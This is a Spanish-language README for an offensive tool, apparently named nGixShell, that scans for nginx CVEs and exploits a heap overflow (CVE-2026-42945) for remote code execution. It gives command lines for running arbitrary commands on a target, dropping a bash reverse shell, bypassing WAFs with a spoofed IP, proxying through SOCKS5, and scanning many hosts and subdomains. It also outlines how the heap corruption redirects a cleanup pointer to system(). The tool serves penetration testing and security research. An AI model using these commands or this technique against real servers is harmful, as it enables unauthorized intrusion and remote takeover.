nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngx_http_rewrite_module — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital, detección/evasión de WAF, auditoría de seguridad web y generación de informes.

Cero dependencias externas. Solo stdlib de Python 3.

Inicio rápido

# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Sin necesidad de indicar opciones — apuntar la herramienta a un objetivo ejecuta todo automáticamente. TLS se detecta automáticamente. nginx se identifica incluso con server_tokens off.

Uso

python3 ngixshell.py [TARGET] [OPTIONS]

Formato de TARGET:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modos

Detección y Evasión de WAF

Técnicas de evasión (todas activas cuando se establece --waf-bypass):

WAF detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Auditoría Web

Se ejecuta automáticamente en modo escaneo. Todos los módulos pueden omitirse individualmente.

• Auditoría de cabeceras — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, cabeceras que filtran la versión
• Descubrimiento de rutas — 50+ rutas; sonda centinela elimina falsos positivos de reglas catch-all 403/301
• Enumeración de hosts virtuales — requiere diferencia de estado Y cuerpo para evitar falsos positivos de bloqueo por defecto
• Auditoría TLS — prueba soporte TLS 1.0–1.3, caducidad de certificados y detección de autofirmados
• stub_status — analiza métricas de conexión activa desde /nginx_status si está expuesto

Conexión

HTTP

Tasa / Temporización

Salida

Cobertura de CVE

53 entradas que abarcan de 2009 a 2026. Ordenadas por CVSS.

El Bug (CVE-2026-42945)

El motor de scripts de reescritura de nginx utiliza un modelo de dos pasos: calcular el tamaño del búfer, luego copiar. El flag is_args se establece en el motor principal cuando una sustitución de rewrite contiene ?, pero el paso de cálculo de longitud se ejecuta sobre un sub-motor recién puesto a cero:

• Paso de longitud — ve is_args = 0 → devuelve la longitud bruta de la captura
• Paso de copia — ve is_args = 1 → llama a ngx_escape_uri(NGX_ESCAPE_ARGS), expandiendo cada byte no seguro a 3 bytes

La copia desborda el búfer heap de tamaño insuficiente con datos URI controlados por el atacante. La explotación corrompe un puntero de limpieza ngx_pool_t adyacente mediante feng shui de heap entre peticiones, redirigiéndolo a un ngx_pool_cleanup_s falso que llama a system() al destruir el pool.

Versiones Afectadas

Aviso del fabricante: https://my.f5.com/manage/s/article/K000160932

Configuración del Laboratorio

Probado en Ubuntu 24.04 LTS. Requiere Docker y Python 3.8+.

# Iniciar el laboratorio vulnerable (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Escaneo completo
python3 ngixshell.py 127.0.0.1:19321

# RCE con salida JSON
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — payload bash, actualización automática de PTY
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Escaneo con evasión de WAF e IP suplantada
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# A través de proxy SOCKS5
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Escaneo de subdominios con limitación de tasa
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Múltiples objetivos, salida JSON, informe HTML
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Aviso Legal

Solo para pruebas de seguridad autorizadas, competiciones CTF e investigación.